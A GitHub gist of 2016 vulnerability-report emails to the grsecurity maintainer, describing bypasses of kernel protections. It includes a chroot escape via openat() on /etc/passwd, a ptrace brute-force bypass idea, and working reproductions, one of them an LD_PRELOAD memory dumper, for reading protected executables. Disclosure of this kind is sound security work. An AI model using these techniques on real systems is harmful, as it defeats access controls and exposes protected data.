Skip to content

Instantly share code, notes, and snippets.

@thejh
Created April 12, 2016 22:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save thejh/9633539a83cc82d08314d09807ab793d to your computer and use it in GitHub Desktop.
Save thejh/9633539a83cc82d08314d09807ab793d to your computer and use it in GitHub Desktop.
grsecurity bug reports
Date: Sun, 13 Mar 2016 12:11:28 +0100
From: Jann Horn <jann@thejh.net>
To: [...], Brad Spengler <spender@grsecurity.net>
Subject: [...] vuln report
[...]
[...] instead of using
fchdir(), just open files outside the chroot directly using
openat(<received fd>, "../../../etc/passwd", ...) or so - it looks as if
grsecurity only catches fchdir() and not the other syscalls that can look
up paths relative to an fd?
[...]
Date: Sun, 28 Feb 2016 22:01:06 +0100
From: Jann Horn <jann@thejh.net>
To: Brad Spengler <spender@grsecurity.net>
Subject: Re: GRKERNSEC_PTRACE_READEXEC bypasses
[...]
A related idea I had just now, but that I don't want to test at the moment
(because it's a bit tedious to implement):
It might be possible to bypass gr_handle_brute_attach() for attacking a
local setuid binary as follows:
- process A fork()s, creating process B
- process B waits for a ptracer
- process A attaches to process B via ptrace, then syscall-steps
- process B calls execl("/path/to/setuid", ...)
- process A injects code into B after execl() completed (or just injects
syscalls directly)
- injected code in process B fork()s, creating process C
- process C is not under ptrace and does execl("/path/to/setuid")
If I see this correctly, C will perform a normal setuid execution, but
if it crashes, gr_handle_brute_attach() should take the
`if (p->real_parent && gr_is_same_file(p->real_parent->exec_file, p->exec_file))`
branch (because B is C's parent and they share the exec_file), causing the
setuid banning in the other branch to be skipped, allowing an attacker to
bypass the bruteforce protection.
(But the error message would still be GR_BRUTE_SUID_MSG although
GR_BRUTE_DAEMON_MSG corresponds to the action actually taken.)
Would that work or did I overlook something?
Date: Sun, 28 Feb 2016 19:08:22 +0100
From: Jann Horn <jann@thejh.net>
To: Brad Spengler <spender@grsecurity.net>
Subject: GRKERNSEC_PTRACE_READEXEC bypasses
Hi!
While writing some new kernel documentation (not yet public, but will probably
soon be under Documentation/security/ptrace_checks.txt), I noticed that
GRKERNSEC_PTRACE_READEXEC has some issues.
I performed tests on a machine with the following setup:
kernel 4.4.2, grsec test patch 201602182048
make defconfig
make menuconfig
security->grsecurity->grsecurity=yes
security->grsecurity->method=auto
security->grsecurity->virttype=guest
security->grsecurity->virtsoft=virtualbox
security->grsecurity->priorities=security
First method: You can bypass it by using the target binary as interpreter because
gr_ptrace_readexec() is only called before the first binfmt handler runs, not for
later open_exec() invocations. To repro:
test.c (compile it to get the "test" binary):
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int main(int argc, char **argv) {
int fd = open("/dev/null", O_WRONLY);
if (fd == -1) return 1;
write(fd, "THIS IS SECRET", 14);
return 0;
}
test.sh:
#!./test
listing:
-rwx--x--x 1 root root 6896 Feb 28 18:37 test
-rw------- 1 root root 233 Feb 28 18:37 test.c
-rwxr-xr-x 1 user user 9 Feb 28 18:32 test.sh
`./test` works, `strace ./test` is blocked, `strace ./test.sh` works and
shows the "THIS IS SECRET" string.
Second method:
While the executed binary is nondumpable, it isn't executed under secure exec
rules - those two are separate and enabled in different cases (although it's
probably a bad idea to do it that way). Therefore, LD_PRELOAD still works:
user@debian:/tmp$ ls -l
insgesamt 40
-rw-r--r-- 1 user user 154 Feb 28 19:00 loadme.c
-rwx--x--x 1 root root 6896 Feb 28 18:37 test
-rw------- 1 root root 233 Feb 28 18:37 test.c
user@debian:/tmp$ cat loadme.c
#include <stdio.h>
__attribute__((constructor)) static void f(void) {
setbuf(stdout, NULL);
char *p = (void*)0x400000;
while (1) putchar(*(p++));
}
user@debian:/tmp$ gcc -shared -o loadme.so loadme.c -fPIC
user@debian:/tmp$ (LD_PRELOAD=./loadme.so ./test) | strings
/lib64/ld-linux-x86-64.so.2
libc.so.6
[...]
/dev/null
THIS IS SECRET
;*3$"
[...]
(I wrote about the second method in the new documentation, then realized
that it applies to grsec.)
(You could do more tricks if unprivileged user namespaces were turned on.)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment